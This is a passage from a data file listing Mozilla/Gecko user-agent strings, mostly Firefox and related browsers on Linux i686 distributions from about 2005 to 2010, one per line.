Firefox/2.0.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070719 Firefox/2.0.0.5 (Debian-2.0.0.5-0etch1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070725 Firefox/2.0.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.5) Gecko/20070728 Firefox/2.0.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Linux Mint)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070208 Mandriva/2.0.0.6-4mdv2007.1 (2007.1) Firefox/2.0.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070601 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070723 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070723 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1) (.NET CLR 3.5.30729)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 (Debian-2.0.0.6-0etch1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/2007072517 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070802 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070802 SeaMonkey/1.1.4 Mnenhy/0.7.5.666\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070804 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070807 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070831 Firefox/2.0.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.6) Gecko/20070914 Firefox/2.0.0.6 Flock/0.9.1.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 (Ubuntu-feisty)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070921 Firefox/2.0.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20070923 Firefox/2.0.0.7 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7) Gecko/20071018 BonEcho/2.0.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.7pre) Gecko/20070815 Firefox/2.0.0.6 Navigator/9.0b3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20061201 Firefox/2.0.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071004 Firefox/2.0.0.8 (Debian-2.0.0.8-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-0etch1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071008 FreeBSD/i386 Firefox/2.0.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071008 Iceape/1.1.5 (Ubuntu-1.1.5-1ubuntu0.7.10)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071019 Fedora/2.0.0.8-1.fc7 Firefox/2.0.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Firefox/2.0.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8) Gecko/20071201 Firefox/2.0.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.8pre) Gecko/20071015 Firefox/2.0.0.7 Navigator/9.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/1.5.0.9 (Debian-2.0.0.9-2)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071025 FreeBSD/i386 Firefox/2.0.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071030 Iceape/1.1.6 (Debian-1.1.6-3)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071103 Firefox/2.0.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071103 Firefox/2.0.0.9 (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071105 Fedora/2.0.0.9-1.fc7 Firefox/2.0.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071105 Firefox/2.0.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.9) Gecko/20071113 BonEcho/2.0.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1b2) Gecko/20060821 BonEcho/2.0b2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.3)  Gecko/20061010 Firefox/2.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8b5) Gecko/20051008 Fedora/1.5-0.5.0.beta2 Firefox/1.4.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008052515 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008061003 (Gentoo) Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008061015 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008061015 Firefox/3.0 (Linux Mint)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008061411 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008061722 (Gentoo) Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008061920 IceCat/3.0-g1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008062113 Iceweasel/3.0 (Debian-3.0~rc2-2)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008062305 (Gentoo) Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008062523 Firefox/3.0 (Linux Mint)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9) Gecko/2008072619 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko Kazehakase/0.5.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008070208 Ubuntu/8.04 (gutsy)  Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071523 Firefox/3.0.1 Flock/2.0b2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071617 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071618 Firefox/2.0 (Debian-3.0.1-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071910 Minefield/3.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072403 Mandriva/3.0.1-1mdv2008.1 (2008.1) Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072716 IceCat/3.0.1-g1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Ubuntu/8.04 (hardy) (Linux Mint)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Ubuntu/8.04 (hardy) Firefox/3.0.1 (Linux Mint)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008072820 Ubuntu/8.04 (hardy) Firefox/3.0.3 (Linux Mint)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008080812 Gentoo Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008081310 Gentoo Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008082612 Gentoo Firefox/3.0.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko Galeon/2.0.6 (Ubuntu 2.0.6-2.1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko Kazehakase/0.5.4 Debian/0.5.4-2.1ubuntu3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042513 Linux Mint/5 (Elyssa) Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/6 (Felicia) Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Linux Mint/7 (Gloria) Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042523 Ubuntu/8.10 (intrepid) Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042708 Fedora/3.0.10-1.fc10 Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.10) Gecko/2009042812 Gentoo Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.10 (karmic) Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060310 Linux Mint/6 (Felicia) Firefox/3.0.11\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009061212 Iceweasel/3.0.9 (Debian-3.0.9-1) GTB5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070610 Firefox/3.0.12\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070812 Linux Mint/5 (Elyssa) Firefox/3.0.12\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Firefox/3.0.12\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 FirePHP/0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090216 Ubuntu/9.04 (jaunty) Firefox/3.0.14 GTB5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009090905 Fedora/3.0.14-1.fc10 Firefox/3.0.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009091010\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/2009091010 Firefox/3.0.14 (Debian-3.0.14-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.14) Gecko/20090916 Ubuntu/9.04 (jaunty) Firefox/3.0.14\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.17) Gecko/2010010604 Ubuntu/9.04 (jaunty) Firefox/3.0.17 FirePHP/0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.18) Gecko/2010021720 Iceweasel/3.0.9 (Debian-3.0.9-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010072023 Firefox/3.0.6 (Debian-3.0.6-3)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010072023 Iceweasel/3.0.6 (Debian-3.0.6-3)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.19) Gecko/2010091807 Firefox/3.0.6 (Debian-3.0.6-3)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1pre) Gecko/2008062222 Firefox/3.0.1pre (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko Fedora/1.9.0.2-1.fc9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008090211 Ubuntu/9.04 (jaunty) Iceweasel/3.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008091816 Red Hat/3.0.2-3.el5 Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092000 Ubuntu/8.04 (hardy) Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/1.4.0 (hardy) Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008092809 Gentoo Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008100722 IceCat/3.0.2-g1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.2) Gecko/2008110715 ASPLinux/3.0.2-3.0.120asp Firefox/3.0.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008090713\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092416 Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/20080925 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092510 Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 FirePHP/0.1.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092816\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092816 Mobile Safari 1.1.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008092921 IceCat/3.0.3-g1\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008100320 Firefox/2.0.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008100922 Ubuntu/8.04 (hardy) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3) Gecko/2008101315 Linux Mint/6 (Felicia) Firefox/3.0.3\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3pre) Gecko/2008090713 Firefox/3.0.3pre (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3pre) Gecko/2008091304 GranParadiso/3.0.3pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.3pre) Gecko/2008092604 GranParadiso/3.0.3pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008103100 Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008103100 SUSE/3.0.4-4.7 Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008110510 Red Hat/3.0.4-1.el5 Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.10 (intrepid) Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4) Gecko/2008123120 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4pre) Gecko/2008092704 GranParadiso/3.0.4pre\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.4pre) Gecko/2008101311 Firefox/3.0.4pre (Swiftfox)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008120908 Red Hat/3.0.5-1.el5_2 Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121300 SUSE/3.0.5-2.1 Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121621 Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121621 Linux Mint/5 (Elyssa) Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121622 Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121622 Linux Mint/6 (Felicia) Firefox/3.0.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121622 Linux Mint/6 (Felicia) Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121718 Gentoo Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2008121914 Ubuntu/8.04 (hardy) Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.5) Gecko/2009011301 Gentoo Firefox/3.0.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-0.1 Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020409\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020409 Iceweasel/3.0.6 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc10 Firefox/3.0.10\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020410 Fedora/3.0.6-1.fc9 Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020518 Ubuntu/9.04 (jaunty) Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020616 Gentoo Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.04 (hardy) Firefox/3.0.6 FirePHP/0.2.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022111 Gentoo Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009022714 Ubuntu/9.04 (jaunty) Firefox/3.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.6) Gecko/2009030302 Minefield/3.0.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko Galeon/2.0.6 (Debian 2.0.6-2.1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko Kazehakase/0.5.4 Debian/0.5.4-2.2\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko Kazehakase/0.5.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009021910 Linux Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009022005 Red Hat/3.0.7-1.el5 Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009022800 SUSE/3.0.7-1.1 Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030422 Linux Mint/5 (Elyssa) Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030422 Linux Mint/6 (Felicia) Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.04 (hardy) Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 GTB5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030719 Firefox/3.0\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030719 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030719 GranParadiso/3.0.7 FirePHP/0.2.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030723 Gentoo Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032018 Firefox/3.0.4 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032018 Iceweasel/3.0.6 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032520 Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032803\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032803 Firefox/3.0 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009032803 Iceweasel/3.0.6 (Debian-3.0.6-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009040909 CentOS/3.0.7-1.el5.centos Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Fedora/1.9.0.8-1.fc10 Kazehakase/0.5.6\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Galeon/2.0.6 (Ubuntu 2.0.6-2)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032608 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Linux Mint/5 (Elyssa) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Linux Mint/6 (Felicia) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Linux Mint/6 (Felicia) Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.04 (hardy) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 FirePHP/0.2.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 GTB5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/9.04 (jaunty) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032713 Fedora/3.0.8-1.fc10 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032713 Fedora/3.0.8-1.fc10 Firefox/3.0.8 GTB5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032811 Iceweasel/3.0.7 (Debian-3.0.7-1)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009033017 GranParadiso/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009033018 Firefox/3.0.7\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0 (SliTaz GNU/Linux)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009033105 Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009040101 Gentoo Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009040118 Gentoo Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009040314 Gentoo Firefox/3.0.8 FirePHP/0.2.4\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009041203 Gentoo Firefox/3.0.8\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009040820 Firefox/3.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009041408 Red Hat/3.0.9-1.el5 Firefox/3.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Linux Mint/6 (Felicia) Firefox/3.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 GTB5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.9) Gecko/2009042210 GranParadiso/3.0.9\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1) Gecko/20090630 Ubuntu/9.04 (jaunty) Shiretoko/3.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1) Gecko/20090701 Linux Mint/7 (Gloria) Shiretoko/3.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1) Gecko/20090701 Ubuntu/9.04 (jaunty) Firefox/3.5\nMozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1) Gecko/20090701 